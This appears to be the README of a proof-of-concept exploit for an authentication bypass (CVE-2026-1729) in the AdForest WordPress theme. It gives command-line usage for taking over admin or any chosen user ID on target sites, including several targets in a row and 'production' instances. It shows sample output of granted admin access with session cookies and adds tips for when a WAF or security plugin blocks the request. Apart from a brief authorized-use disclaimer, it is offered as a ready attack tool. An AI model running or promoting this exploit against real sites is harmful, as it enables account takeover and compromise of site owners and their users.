CVE-2026-1729 - AdForest WordPress Authentication Bypass PoC

Description

Simple Proof of Concept for CVE-2026-1729 (PoC) - Authentication bypass vulnerability in AdForest WordPress Theme. Authored by f3ds cr3w est 2oo2 blog

Features

• ✅ Direct admin access without credentials
• ✅ Works on production WordPress instances
• ✅ No Docker setup required
• ✅ Simple command-line interface
• ✅ Session persistence

Requirements

• Python 3.6+
• requests library

Installation

pip install requests

Usage

Basic Usage

python poc/exploit.py https://target-site.com

Target Specific User ID

python poc/exploit.py https://target-site.com --user-id 2

Examples

# Exploit default admin (user ID 1)
python poc/exploit.py https://example.com

# Exploit specific user account
python poc/exploit.py https://example.com --user-id 5

# Test multiple targets
python poc/exploit.py https://site1.com
python poc/exploit.py https://site2.com --user-id 3

Output

CVE-2026-1729 - AdForest WordPress Authentication Bypass
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WARNING: For authorized testing only!
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[+] Target: https://example.com
[+] Targeting user ID: 1
[+] Sending exploit to: https://example.com/wp-admin/admin-ajax.php
[+] SUCCESS! Admin access granted
[+] Admin URL: https://example.com/wp-admin/
[+] Session cookies: {'wp-settings-time-1': '1234567890', 'wordpress_logged_in_...': '...'}
[+] Logged in as: admin

🎯 Exploit completed successfully!
You now have admin access to the WordPress site.

What Happens After Exploit

1. Admin Access: You get full admin access to /wp-admin/
2. Session Persistence: The exploit maintains session cookies
3. User Information: Shows which account you've compromised
4. Direct Access: You can immediately access WordPress admin dashboard

Notes

• Legal Use: Only use on sites you own or have explicit permission to test
• Target Requirements: Site must have AdForest theme installed
• Success Rate: Works on vulnerable versions of AdForest theme
• No Installation: No need to install anything on target server

Troubleshooting

If exploit fails:

1. Verify AdForest theme is installed
2. Check if site is running WordPress
3. Ensure the theme version is vulnerable
4. No WAF or security plugins blocking the request